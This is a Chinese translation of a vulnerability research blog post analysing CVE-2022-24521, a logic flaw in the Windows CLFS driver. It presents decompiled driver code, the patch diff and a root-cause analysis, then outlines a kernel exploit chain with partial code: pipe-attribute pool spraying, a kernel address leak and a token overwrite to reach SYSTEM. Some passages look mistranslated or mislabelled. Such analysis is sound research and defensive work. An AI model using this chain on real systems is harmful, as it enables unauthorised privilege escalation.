CVE-2022-24521:Windows 通用日志文件系统 (CLFS) 逻辑错误漏洞
作者:Sec-Labs | 发布时间:
概述
在2022年4月的安全更新中,微软修补了CLFS.sys驱动程序的两个漏洞(CVE-2022-24481和CVE-2022-24521)。CLFS内核组件在2016年首次作为逃避浏览器沙盒的攻击载体而受到欢迎。从那时起,尽管这一功能现在在流行的沙盒中被禁用,但它仍然经常被滥用,以便在Windows中升级权限。
在这篇博文中,我们分析了其中一个漏洞的根本原因,还讨论了它是如何被琐碎地、令人难以置信地可靠利用的。请注意,在没有任何公开信息将这些CVE分开的情况下,我们决定使用CVE-2022-24521来指代这里描述的漏洞,因为我们已经证实了它的可利用性,而微软将CVE-2022-24481评为 "利用代码成熟度。未被证实"。当然,我们在这里可能是错的:)
这个漏洞是在Windows 10 21H2(OS Build 19044.1620)上开发和测试的。
社区对CLFS组件进行了很好的研究,这些[1][2][3]是内部结构、格式和文档的优秀来源。
CLFS 内部结构
CLFS 是 Microsoft 在 Windows Vista 和 Windows Server 2003 R2 中为实现高性能而引入的日志框架。它为应用程序提供 API 函数来创建、存储和读取日志数据。CLFS日志存储基本上由两部分组成:

每个日志块都以一个名为_CLFS_LOG_BLOCK_HEADER的结构开始:
typedef struct _CLFS_LOG_BLOCK_HEADER
{
UCHAR MajorVersion;
UCHAR MinorVersion;
UCHAR Usn;
CLFS_CLIENT_ID ClientId;
USHORT TotalSectorCount;
USHORT ValidSectorCount;
ULONG Padding;
ULONG Checksum;
ULONG Flags;
CLFS_LSN CurrentLsn;
CLFS_LSN NextLsn;
ULONG RecordOffsets[16];
ULONG SignaturesOffset;
} CLFS_LOG_BLOCK_HEADER, *PCLFS_LOG_BLOCK_HEADER;
RecordOffsets是日志块内记录的偏移量数组。事实上,CLFS 只处理指向CLFS_LOG_BLOCK_HEADER. 当基本日志文件存储在磁盘上时,必须对其日志块进行编码。在编码状态下,每个扇区都有一个两字节的签名,用于保证一致性:
typedef struct _CLFS_LOG_BLOCK_HEADER
{
UCHAR SECTOR_BLOCK_TYPE;
UCHAR Usn;
};
在编码过程中,每个扇区的最后两个字节被相关的签名覆盖。为了存储被扇区签名替换的所有扇区字节,有一个由SignaturesOffset字段指向的数组。
基本日志记录存储用于将基本日志文件与容器相关联的元数据。它以以下标题开头:
typedef struct _CLFS_BASE_RECORD_HEADER
{
CLFS_METADATA_RECORD_HEADER hdrBaseRecord;
CLFS_LOG_ID cidLog;
ULONGLONG rgClientSymTbl[CLIENT_SYMTBL_SIZE];
ULONGLONG rgContainerSymTbl[CONTAINER_SYMTBL_SIZE];
ULONGLONG rgSecuritySymTbl[SHARED_SECURITY_SYMTBL_SIZE];
ULONG cNextContainer;
CLFS_CLIENT_ID cNextClient;
ULONG cFreeContainers;
ULONG cActiveContainers;
ULONG cbFreeContainers;
ULONG cbBusyContainers;
ULONG rgClients[MAX_CLIENTS_DEFAULT];
ULONG rgContainers[MAX_CONTAINERS_DEFAULT];
ULONG cbSymbolZone;
ULONG cbSector;
USHORT bUnused;
CLFS_LOG_STATE eLogState;
UCHAR cUsn;
UCHAR cClients;
} CLFS_BASE_RECORD_HEADER, *PCLFS_BASE_RECORD_HEADER;
字段gClients和rgContainers表示指向关联上下文对象的偏移量数组。
容器上下文由以下结构表示:
typedef struct _CLFS_CONTAINER_CONTEXT
{
CLFS_NODE_ID cidNode;
ULONGLONG cbContainer;
CLFS_CONTAINER_ID cidContainer;
CLFS_CONTAINER_ID cidQueue;
union
{
CClfsContainer* pContainer;
ULONGLONG ullAlignment;
};
CLFS_USN usnCurrent;
CLFS_CONTAINER_STATE eState;
ULONG cbPrevOffset;
ULONG cbNextOffset;
} CLFS_CONTAINER_CONTEXT, *PCLFS_CONTAINER_CONTEXT;
pContainer实际上包含一个内核指针,指向CClfsContainer在运行时描述容器的类。当日志文件在磁盘上时,该字段必须设置为零。
补丁差异
2022 年 4 月的安全更新为我们带来了对 clfs.sys 的非常小的修改,因此我们可以轻松发现易受攻击的功能。总而言之,有八个变化的功能:

还有两个新功能:

一个新的逻辑块已添加到LoadContainerQ:
...
containerArray = (_DWORD *)((char *)BaseLogRecord + 0x328); // *CLFS_CONTAINER_CONTEXT->rgContainers
...
v22 = CClfsBaseFile::ContainerCount(this);
...
while ( containerIndex < 0x400 )
{
v17 = (CClfsContainer *)containerIndex;
if ( containerArray[containerIndex] )
++v24;
v89 = ++containerIndex;
}
...
if ( v24 == v22 )
{
if ( (unsigned int)Feature_Servicing_38197806__private_IsEnabled() )
{
v25 = (_OWORD *)((char *)v19 + 0x138);
v26 = (unsigned int *)operator new(0x11F0ui64, PagedPool);
rgObject = v26;
if ( !v26 )
{
goto LABEL_135;
}
memmove(v26, containerArray, 0x1000ui64);
v28 = rgObject + 0x400;
v29 = 3i64;
...
v20 = CClfsBaseFile::ValidateRgOffsets(this, rgObject);
v72 = v20;
operator delete(rgObject);
}
事实上,这个块是一个包装器CClfsBaseFile::ValidateRgOffsets:
__int64 __fastcall CClfsBaseFile::ValidateRgOffsets(CClfsBaseFile *this, unsigned int *rgObject)
{
...
LogBlockPtr = *(_QWORD *)(*((_QWORD *)this + 6) + 48i64); // * _CLFS_LOG_BLOCK_HEADER
...
signatureOffset = LogBlockPtr + *(unsigned int *)(LogBlockPtr + 0x68); // PCLFS_LOG_BLOCK_HEADER->SignaturesOffset
...
qsort(rgObject, 0x47Cui64, 4ui64, CompareOffsets); // sort rgObject array
while ( 1 )
{
currObjOffset = *rgObject2; // obtain offset from rgObject
if ( *rgObject2 - 1 <= 0xFFFFFFFD )
{
pObjContext = CClfsBaseFile::OffsetToAddr(this, currObjOffset); // Obtain in-memory representation
// of the object's context structure
...
unkn = currObjOffset - 0x30;
v13 = rgIndex * 4 + v5 + 0x30;
if ( v13 < v5 || v5 && v13 > unkn )
break;
v5 = unkn;
if ( *pObjContext == 0xC1FDF008 ) // CLFS_NODE_TYPE_CLIENT_CONTEXT
{
rgIndex = 0xC;
}
else
{
if ( *pObjContext != 0xC1FDF007 ) // CLFS_NODE_TYPE_CONTAINER_CONTEXT
return 0xC01A000D;
rgIndex = 0x22;
}
criticalRange = &pObjContext[rgIndex]; // get the address of context + 0x30
if ( criticalRange < pObjContext || (unsigned __int64)criticalRange > signatureOffset ) // comapre with sig offset
break;
}
++i;
++rgObject2;
if ( i >= 0x47C )
return ret;
}
return 0xC01A000D;
}
正如我们所看到的,这个函数只是检查签名偏移是否与任何上下文对象相交。此外,它还验证几个上下文字段,例如CLFS_NODE_ID.
漏洞:根本原因分析
假设签名数组与容器或客户端上下文相交:

当日志块被编码时,扇区的字节SIG_*被传输到一个数组,由 . 指向SignaturesOffset。在解码时,这些字节被写回到它们的初始位置。如果我们以容器上下文和签名数组彼此接近的方式构建基本日志记录,然后将上下文的字节复制到SIG_0... SIG_X,则编码和解码操作不会破坏容器上下文。此外,所有在编码和解码之间修改的数据都将被恢复。
现在让我们假设容器上下文在内存中被修改(PCLFS_CONTAINER_CONTEXT->pContainer被归零)。我们搜索了一段时间它实际使用的地方,这导致我们CClfsBaseFilePersisted::RemoveContainer可以直接从以下位置调用它LoadContainerQ:
__int64 __fastcall CClfsBaseFilePersisted::RemoveContainer(CClfsBaseFilePersisted *this, unsigned int a2)
{
...
v11 = CClfsBaseFilePersisted::FlushImage((PERESOURCE *)this);
v9 = v11;
v16 = v11;
if ( v11 >= 0 )
{
pContainer = *((_QWORD *)containerContext + 3);
if ( pContainer )
{
*((_QWORD *)containerContext + 3) = 0i64;
ExReleaseResourceForThreadLite(*((PERESOURCE *)this + 4), (ERESOURCE_THREAD)KeGetCurrentThread());
v4 = 0;
(*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 0x18i64))(pContainer); // remove method
(*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 8i64))(pContainer); // release method
v9 = v16;
goto LABEL_20;
}
goto LABEL_19;
}
...
}
为了确保用户不能将任何FAKE_pContainer指针传递给内核,在任何间接调用之前将此字段设置为零:
v44 = *((_DWORD *)containerContext + 5); // to trigger RemoveContainer one should set this field to -1
if ( v44 == -1 )
{
*((_QWORD *)containerContext + 3) = 0i64; // pContainer is set to NULL
v20 = CClfsBaseFilePersisted::RemoveContainer(this, v34);
v72 = v20;
if ( v20 < 0 )
goto LABEL_134;
v23 = v78;
v34 = (unsigned int)(v34 + 1);
v79 = v34;
}
一切都按计划进行,直到没有上述逻辑问题。为了更好地理解它——CClfsBaseFilePersisted::FlushImage -> CClfsBaseFilePersisted::WriteMetadataBlock,让我们看看里面的调用链RemoveContainer。与已删除容器相关的信息也应从链接结构中删除,这是通过以下代码完成的
...
// Obtain all container contexts represented in blf
// save pContainer class pointer for each valid container context
for ( i = 0; i < 0x400; ++i )
{
v20 = CClfsBaseFile::AcquireContainerContext(this, i, &v22);
v15 = (char *)this + 8 * i;
if ( v20 >= 0 )
{
v16 = v22;
*((_QWORD *)v15 + 56) = *((_QWORD *)v22 + 3); // for each valid container save pContainer
*((_QWORD *)v16 + 3) = 0i64; // and set the initial pContainer to zero
CClfsBaseFile::ReleaseContainerContext(this, &v22);
}
else
{
*((_QWORD *)v15 + 56) = 0i64;
}
}
// Stage [1] enode block, prepare it for writing
ClfsEncodeBlock(
(struct _CLFS_LOG_BLOCK_HEADER *)v9,
*(unsigned __int16 *)(v9 + 4) << 9,
*(_BYTE *)(v9 + 2),
0x10u,
1u);
// write modified data
v10 = CClfsContainer::WriteSector(
*((CClfsContainer **)this + 19),
*((struct _KEVENT **)this + 20),
0i64,
*(void **)(*((_QWORD *)this + 6) + 24 * v8),
*(unsigned __int16 *)(v9 + 4),
&v23);
...
if ( v7 )
{
// Stage [2] Decode file again for futher processing in clfs.sys
ClfsDecodeBlock((struct _CLFS_LOG_BLOCK_HEADER *)v9, *(unsigned __int16 *)(v9 + 4), *(_BYTE *)(v9 + 2), 0x10u, &v21);
// optain new pContainer class pointer
v17 = (_QWORD *)((char *)this + 448);
do
{
// Stage [3] for each valid container
// update pContainer field
if ( *v17 && (int)CClfsBaseFile::AcquireContainerContext(this, v6, &v22) >= 0 )
{
*((_QWORD *)v22 + 3) = *v17;
CClfsBaseFile::ReleaseContainerContext(this, &v22);
}
++v6;
++v17;
}
while ( v6 < 0x400 );
}
...
当操作开始时,pContainer设置为零。在阶段 [1]中,信息被编码 -> 每个扇区的字节被写入它们的位置 -> 我们使用我们从用户模式提供的信息恢复零字段。唯一的问题是在阶段 [3]CClfsBaseFile::AcquireContainerContext失败(很容易做到)。如果一切都完成了,我们将能够将任何地址传递给内部的间接调用链,从而导致直接 RIP 控制。CClfsBaseFilePersisted::RemoveContainer
开发
要触发该漏洞,攻击者应仔细构建基本日志文件和相关容器,以绕过驱动程序代码中的不同检查。列出所有检查超出了本文的范围,但为简单起见,我们将为客户端上下文提供一个示例:
PoC如下:
__int64 __fastcall CClfsBaseFile::GetSymbol(PERESOURCE *this, unsigned int a2, char a3, struct _CLFS_CLIENT_CONTEXT **a4)
{
...
if ( CClfsBaseFile::IsValidOffset((CClfsBaseFile *)this, a2 + 135) )
{
v11 = CClfsBaseFile::OffsetToAddr((CClfsBaseFile *)this);
if ( v11 )
{
if ( *(v11 - 3) != a2 )
{
v8 = -1073741816;
goto LABEL_5;
}
v12 = ClfsQuadAlign(0x88u);
// v13 is a pointer to ClientContext
if ( *(_DWORD *)(v13 - 0x10) == (unsigned __int64)(v14 + v12) && *(_BYTE *)(v13 + 8) == a3 )
{
*a4 = (struct _CLFS_CLIENT_CONTEXT *)v13;
goto LABEL_12;
}
}
}
...
LABEL_12:
if ( v10 )
{
ExReleaseResourceForThreadLite(this[4], (ERESOURCE_THREAD)KeGetCurrentThread());
return v15;
}
return v8;
}
这两种方法的实际调用方式也很有趣:
mov rax, [rdi] ; pContainerVftbl
mov rax, [rax+18h] ; method_1
mov rcx, rdi ; save pointer to pContainer
; pass it as an argument
; for the controllable call
call cs:__guard_dispatch_icall_fptr
mov rax, [rdi]
mov rax, [rax+8] ; method_2
mov rcx, rdi
call cs:__guard_dispatch_icall_fptr
可控的地址pContainer作为参数传递给间接调用,因此我们可以使用任何RCX用作指针的小工具来执行任意读/写操作。
从这里开始,利用策略将密切基于这个优秀的 SSTIC2020 的论文信息:Scoop the Windows 10 pool! [ 4 ]。
-
NtFsControlFileAPI 添加管道属性:... CreatePipe( hR , hW , NULL , bufsize ) ; ... NTSTATUS status = NtFsControlFile( hR, 0, NULL, NULL, &ret, 0x11003C, input, input_size, output, output_size );属性是键值对并存储在链表中。该
PipeAttribute对象在分页池中分配,并在内核中由以下结构定义:struct PipeAttribute { LIST_ENTRY list ; char * AttributeName; uint64_t AttributeValueSize; char * AttributeValue; char data [0]; }; -
请注意,分配必须足够大(x86 上 4080+ 字节,x64 上 4064+ 字节)才能在大池 [ ] 中处理。
-
每当内核模式组件分配超过上述限制时,就会进行大池分配。API
NtQuerySystemInformation有一个专门为转储大池分配而设计的信息类。不仅包括它们的大小、标记和类型(分页或非分页),还包括它们的内核虚拟地址:
NTSTATUS status = STATUS_SUCCESS;
if (NT_SUCCESS(status = ZwQuerySystemInformation(SystemBigPoolInformation, mem, len, &len))) {
PSYSTEM_BIGPOOL_INFORMATION pBuf = (PSYSTEM_BIGPOOL_INFORMATION)(mem);
for (ULONG i = 0; i < pBuf->Count; i++) {
__try {
if (pBuf->AllocatedInfo[i].TagUlong == PIPE_ATTR_TAG) {
// save me
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
DPRINT_LOG("(%s) Access Violation was raised.", __FUNCTION__);
}
}
}
使用这个特性,我们可以很容易地获取新创建的管道对象的地址。
-
分配 fake_pipe_attribute 对象以供稍后将其地址注入原始双向链表。我们将保存内核 pipe_attribute 指针如下:
... fake_pipe_attribute = (PipeAttributes*)VirtualAlloc(NULL, ATTRIBUTE_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); ... fake_pipe_attribute->list.Flink = pipe_attribute_1; fake_pipe_attribute->list.Blink = pipe_attribute_2; fake_pipe_attribute->id = ANY; fake_pipe_attribute->length = NEEDED; ... -
使用以下命令获取选定的小工具模块基地址
NtQuerySystemInformation:ntStatus = NtQuerySystemInformation(SystemModuleInformation, &module, /*pSysModInfo*/ sizeof(module), /*sizeof(pSysModInfo) or 0*/ &dwNeededSize ); { ... if (STATUS_INFO_LENGTH_MISMATCH == ntStatus) { pSysModInfo = ExAllocatePoolWithTag(NonPagedPool, dwNeededSize, 'GETK'); if (pSysModInfo) { ntStatus = NtQuerySystemInformation(SystemModuleInformation, pSysModInfo, dwNeededSize, NULL ); if (NT_SUCCESS(ntStatus)) { for (int i=0; i<(int)pSysModInfo->dwNumberOfModules; ++i) { StrUpr(pSysModInfo->smi[i].ImageName); // Convert characters to uppercase if (strstr(pSysModInfo->smi[i].ImageName, MODULE_NAME)) { pModuleBase = pSysModInfo->smi[i].Base; break; } } } else { return; } ExFreePool(pSysModInfo) pSysModInfo = NULL; } } ... } -
触发 CLFS 错误,它允许我们调用模块小工具执行任意数据修改。正确完成后,我们将能够覆盖
pipe_attribute_1->list.Flink并pipe_attribute_2->list.Blink使用fake_pipe_attribute指针。现在,通过请求读取 上的属性(NtFsControlFile使用 x110038 IOCTL 调用)pipe_attribute_1 / pipe_attribute_2,内核将使用用户空间中的PipeAttributethat 并因此完全受控:
AttributeValue对指针的控制和AttributeValueSize提供可用于获取EPROCESS地址的任意读取原语。 -
触发 CLFS 错误以覆盖用户模式进程令牌以提升到系统权限。

原文链接
https://www.pixiepointsecurity.com/blog/nday-cve-2022-24521.html